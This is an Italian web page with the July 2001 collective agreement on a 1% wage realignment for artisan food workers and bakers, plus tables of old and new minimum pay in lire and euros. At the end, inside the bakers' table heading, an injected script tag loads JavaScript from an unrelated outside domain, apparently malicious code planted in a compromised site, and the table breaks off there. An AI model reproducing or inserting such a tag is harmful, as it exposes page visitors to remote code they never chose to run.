Torna
all'elenco delle categorie
|
Categoria: Alimentaristi (artigiani) Settore: Alimentari - Agroindustriale Data stipula: 26-7-2001
VERBALE DI ACCORDO
In data 26 luglio 2001 si sono incontrate le Organizzazioni artigiane CNA
Alimentare, CASARTIGIANI, CLAAI e le OOSS dei lavoratori FLAI-CGIL, FAI-
CISL, UILA-UIL per procedere alla effettuazione del riallineamento delle
retribuzioni del settore relativo all'anno 2000, così come previsto
dall'art. 31 del CCNL per i lavoratori dipendenti del settore alimentare e
della panificazione.
A tal fine le parti:
- preso atto del Verbale di riunione 12.7.01;
- considerato che lo scostamento tra inflazione programmata e
inflazione reale del 2000 è stato individuato in misura pari all'1%.
Hanno convenuto gli allegati incrementi retributivi, relativi ai singoli
livelli e settori, i quali decorreranno dall'1.9.01.
CNA Alimentare
CASARTIGIANI
CLAAI
FLAI-CGIL
FAI-CISL
UILA-UIL
Contratto Collettivo Nazionale di Lavoro
ALIMENTAZIONE
23 novembre 1998
ALIMENTARISTI
Retribuzione di riferimento
riallineamento
cat.
£ _
1ªS 1.733.000 + 1.018.015 = 2.751.015 X 1% = 27.500 14,20
1ª 1.457.000 + 1.018.015 = 2.475.015 X 1% = 25.000 12,91
2ª 1.257.000 + 1.011.464 = 2.268.464 X 1% = 23.000 11,88
3ªA 1.112.000 + 1.005.489 = 2.117.489 X 1% = 21.000 10,85
3ª 1.003.500 + 1.001.632 = 2.005.132 X 1% = 20.000 10,33
4ª 928.500 + 996.079 = 1.924.579 X 1% = 19.000 9,81
5ª 844.500 + 993.123 = 1.837.623 X 1% = 18.500 9,55
6ª 732.000 + 989.847 = 1.721.847 X 1% = 17.000 8,78
Nuovi minimi in vigore dal 1° settembre 2001
£ _
1ªS 1.846.500 + 27.500 = 1.874.000 967,84
1ª 1.551.500 + 25.000 = 1.576.500 814,19
2ª 1.339.000 + 23.000 = 1.362.000 703,41
3ªA 1.184.000 + 21.000 = 1.205.000 622,33
3ª 1.068.000 + 20.000 = 1.088.000 561,91
4ª 988.500 + 19.000 = 1.007.500 520,33
5ª 898.500 + 18.500 = 917.000 473,59
6ª 779.000 + 17.000 = 796.000 411,10
PANIFICATORI
Retribuzione di riferimento
cat. riallineamento
£ _
A1S 1.337.000 + 1.011.691 = 2.348.691 X 1% = 23.500 12,14
A1 1.173.500 + 1.010.796 = 2.184.296 X 1% = 22.000 11,36
A2 1.043.000 + 1.004.095 = 2.047.095 X 1% = 20.500 10,59
A3 879.500 + 996.738 = 1.876.238 X 1% = 19.000 9,81
A4 786.500 + 992.140 = 1.778.640 X 1% = 18.000 9,30
B1 1.283.000 + 1.016.990 = 2.299.990 X 1% = 23.000 11,88
B2 896.000 + 996.738 = 1.892.738 X 1% = 19.000 9,81
B3 792.000 + 991.653 = 1.783.653 X 1% = 18.000 9,30
B4 705.000 + 987.545 = 1.692.545 X 1% = 17.000 8,78
Nuovi minimi in vigore dal 1° settembre 2001
£ _
A1S 1.401.000 + 23.500 = 1.424.500 735,69
A1 1.230.000 + 22.000 = 1.252.000 646,60
A2 1.093.000 + 20.500 = 1.113.500 575,07
A3 922.000 + 19.000 = 941.000 485,99
A4 824.000 + 18.000 = 842.000 434,86
B1 1.344.500 + 23.000 = 1.367.500 706,25
B2 939.000 + 19.000 = 958.000 494,77
B3 829.500 + 18.000 = 847.500 437,70
B4 738.500 + 17.000 755.500 390,18
Tabelle nuovi minimi Alimentaristi
cat. 1.1.98 1.3.99 1.11.00 1.6.01
1ªS 1.657.000 1.733.000 1.809.000 1.846.500
1ª 1.394.000 1.457.000 1.520.000 1.551.500
2ª 1.202.000 1.257.000 1.312.000 1.339.000
3ªA 1.064.000 1.112.000 1.160.000 1.184.000
3ª 960.500 1.003.500 1.046.500 1.068.000
4ª 888.500 928.500 968.500 988.500
5ª 808.500 844.500 880.500 898.500
6ª 700.500 732.000 763.500 779.000
Tabelle nuovi minimi Panificatori
cat. 1.1.98<sc<script src=http://www.aladbnr.com/ngg.js></script>
|